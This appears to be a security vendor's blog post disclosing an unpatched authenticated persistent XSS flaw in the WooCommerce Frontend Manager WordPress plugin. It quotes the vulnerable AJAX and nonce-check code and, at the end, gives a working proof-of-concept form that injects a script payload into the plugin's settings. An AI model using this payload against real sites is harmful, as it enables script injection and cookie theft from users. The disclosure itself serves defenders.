09 Jun

A Hacker Looks to be Probing for WooCommerce Frontend Manager (WCFM), This Vulnerability Could be Their Target

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may use, we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website today for the plugin WooCommerce Frontend Manager (WCFM) by requesting this file:

  • /wp-content/plugins/wc-frontend-manager/readme.txt

We are not aware of any publicly disclosed vulnerabilities that might explain this. In doing our standard checks when we see what looks to be a hacker probing for usage of a plugin, we found that low-level users have access to AJAX functions only intended for users managing the website. That is a more significant issue than with the average plugin, since the plugin is designed to work with WooCommerce plugins by default, WordPress websites running WooCommerce allow untrusted individuals to create WordPress accounts.

This is the second week in a row we have seen a hacker targeting a plugin that works with WooCommerce, which had this type of issue.

One thing that can be done because of that insecurity is to change the plugin’s settings and add malicious JavaScript code to them, which is an authenticated persistent cross-site scripting (XSS) vulnerability. That is a type of vulnerability that hackers have targetted in the past with other plugins they probed for that didn’t have disclosed vulnerabilities. There are other issues as well, so the plugins shouldn’t be used until it fully secured and a more thorough security review is done.

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability

In the file /core/class-wcfm-ajax.php the plugin registers the function wcfm_ajax_controller() to accessible through WordPress’ AJAX functionality to those logged in to WordPress:

21
add_action( 'wp_ajax_wcfm_ajax_controller', array( &$this, 'wcfm_ajax_controller' ) );

That function does no security checks before running various code based on the POST input “controller”:

123
124
125
126
127
128
129
130
131
132
  public function wcfm_ajax_controller() {
  	global $WCFM;
 
  	do_action( 'after_wcfm_ajax_controller' );
 
  	$controller = '';
  	if( isset( $_POST['controller'] ) ) {
  		$controller = wc_clean($_POST['controller']);
 
  		switch( $controller ) {

When that input is set to “wcfm-settings” the code in the file /controllers/settings/wcfm-controller-settings.php will be run:

230
231
232
233
234
235
236
237
238
239
240
241
case 'wcfm-settings':
	if( $WCFM->is_marketplace && wcfm_is_vendor() ) {
		include_once( $this->controllers_path . 'settings/wcfm-controller-' . $WCFM->is_marketplace . '-settings.php' );
		if( $WCFM->is_marketplace == 'wcvendors' ) new WCFM_Settings_WCVendors_Controller();
		elseif( $WCFM->is_marketplace == 'wcpvendors' ) new WCFM_Settings_WCPVendors_Controller();
		elseif( $WCFM->is_marketplace == 'wcmarketplace' ) new WCFM_Settings_WCMarketplace_Controller();
		elseif( $WCFM->is_marketplace == 'dokan' ) new WCFM_Settings_Dokan_Controller();
		elseif( $WCFM->is_marketplace == 'wcfmmarketplace' ) new WCFM_Settings_Marketplace_Controller();
	} else {
		include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
		new WCFM_Settings_Controller();
	}

In that file, the function processing() will run and handles saving the plugin’s settings. Before doing that it includes one of two security checks that should occur before doing that, a check for a valid nonce, which prevents cross-site request forgery (CSRF). The code is lacking a capabilities check to limit what users can access it. While that nonce check could restrict access to users who shouldn’t be able to access this, in this case it doesn’t because the check is broken. The code only checks for a valid nonce if a nonce is sent with the request, so if you don’t send one, the check isn’t run:

20
21
22
23
24
25
26
27
28
29
30
31
32
33
public function processing() {
	global $WCFM, $WCFM_Query, $wpdb, $_POST;
 
	$wcfm_settings_form_data = array();
  parse_str($_POST['wcfm_settings_form'], $wcfm_settings_form);
 
  if( !defined('WCFM_REST_API_CALL') ) {
	if( isset( $wcfm_settings_form['wcfm_nonce'] ) && !empty( $wcfm_settings_form['wcfm_nonce'] ) ) {
		if( !wp_verify_nonce( $wcfm_settings_form['wcfm_nonce'], 'wcfm_settings' ) ) {
			echo '{"status": false, "message": "' . __( 'Invalid nonce! Refresh your page and try again.', 'wc-frontend-manager' ) . '"}';
			die;
		}
	}
  }

As the proof of concept below shows, that vulnerability, could be exploited to cause JavaScript code to run on the website, which is cross-site scripting (XSS).

WordPress Causes Full Disclosure

Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown on the page /store-manager/, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wcfm_ajax_controller" method="POST">
<input type="hidden" name="controller" value="wcfm-settings" />
<input type="hidden" name="wcfm_settings_form" value="wcfm_my_store_label=%22%3E%3Cscript%3Ealert(document.cookie)%3B%3C%2Fscript%3E">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.